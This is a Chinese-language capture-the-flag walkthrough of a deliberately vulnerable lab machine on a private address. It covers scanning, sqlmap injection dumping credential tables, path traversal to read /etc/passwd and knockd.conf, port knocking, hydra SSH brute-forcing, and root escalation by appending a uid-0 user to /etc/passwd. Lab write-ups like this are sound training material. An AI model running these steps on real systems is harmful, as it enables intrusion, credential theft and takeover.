1. 信息搜集
扫描 IP 发现主机 192.168.163.135

扫描端口,发现 80 端口开放,22 端口 filtered 说明可能存在 ssh 服务,但被拒绝访问
1
nmap -T4 -A -p- 192.168.163.135

扫描目录
1
dirsearch -u http://192.168.163.135/ -e* -i 200

/search.php发现搜索框,使用 sqlmap 测试
2. 数据库爆破
使用 bp 抓取提交搜索的数据包,保存到a.txt文件中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /results.php HTTP/1.1
Host: 192.168.163.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.163.135
Connection: close
Referer: http://192.168.163.135/search.php
Cookie: PHPSESSID=rn9as0edebkia6tvjbv2amr05p
Upgrade-Insecure-Requests: 1
Priority: u=0, i
search=12
sqlmap 测试 search字段是否存在注入漏洞
1
sqlmap.py -r C:\Computer\Desktop\a.txt -p search --dbs

发现存在注入漏洞,且获取到两个数据库:Staff、users
2.1. 爆破 Staff 数据库
获取表名

获取列名

获取用户名、密码

得到密码:transorbital1
2.2. 爆破 users 数据库
获取 users 数据库数据
1
sqlmap.py -r C:\Computer\Desktop\a.txt -p search -D users -T UserDetails -C username,password --dump

相关数据保存到了 C:\Users\vmuser\AppData\Local\sqlmap\output\192.168.163.135\dump\users\UserDetails.csv 文件中,可将其中内容复制到 kali 中,之后用来 SSH 爆破

3. 网站登录
通过用户:admin 密码:transorbital1 登录成功
发现 File does not exist 字段,猜测有文件包含漏洞

测试 url: http://192.168.163.135/manage.php?file=../../../../etc/passwd ,成功获取到数据
由于 ssh 服务为 filtered 猜测是否存在敲门
构造 url: http://192.168.163.135/welcome.php?file=../../../../../../etc/knockd.conf ,访问成功

4. SSH 爆破
根据文件中的端口,依次访问
1
2
3
nc 192.168.163.135 7469
nc 192.168.163.135 8475
nc 192.168.163.135 9842
再次扫描端口,发现已开放

将爆破 users 数据库得到的.csv文件内容复制到 kali,保存为 user.txt,使用 vim 将其中的 , 替换为 :,构造为符合 hydra 的格式
1
:%s/,/:/g
hydra 爆破 SSH
1
hydra -C user.txt ssh://192.168.163.135

| 用户名 | 密码 |
|---|---|
| chandlerb | UrAG0D! |
| janitor | Ilovepeepee |
| joeyt | Passw0rd |
janitor 登陆成功,发现以下文件

查看内容,疑似密码

保存到文件中,并将之前的 user.txt 内容删去密码
1
:%s/:.*//g
爆破用户名密码
1
hydra -L user.txt -P pass.txt ssh://192.168.163.135

| 用户名 | 密码 |
|---|---|
| fredf | B4-Tru3-001 |
| joeyt | Passw0rd |
获取到新的用户名,发现为系统管理员

5. root 提权
登录成功,尝试 sudo -l 提权

发现 /opt/devstuff/dist/test/test 可用于提权,查看文件属性为二进制文件

搜索上级目录,发现源代码文件 test.py

查看脚本内容:输入两个参数,且都为文件路径,之后读取第一个文件内容,将其追加到第二个文件中
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
利用思路:向 /etc/passwd 中追加 root 权限用户,之后切换到该用户,实现 root 提权
使用无密码用户提权失败,因此生成加密密码,构造有密码用户
1
2
openssl passwd -1 123
# $1$1kseWC6t$1LvPSSOv2xgHthMIJWXA.0
构造 /etc/passwd 格式,保存到临时文件,执行 test 脚本将其追加到 /etc/passwd 中
1
2
3
echo 'rroott:$1$1kseWC6t$1LvPSSOv2xgHthMIJWXA.0:0:0::/root:/bin/bash' >/tmp/tf
sudo ./test /tmp/tf /etc/passwd
su rroott
提权成功

获取 flag 文件
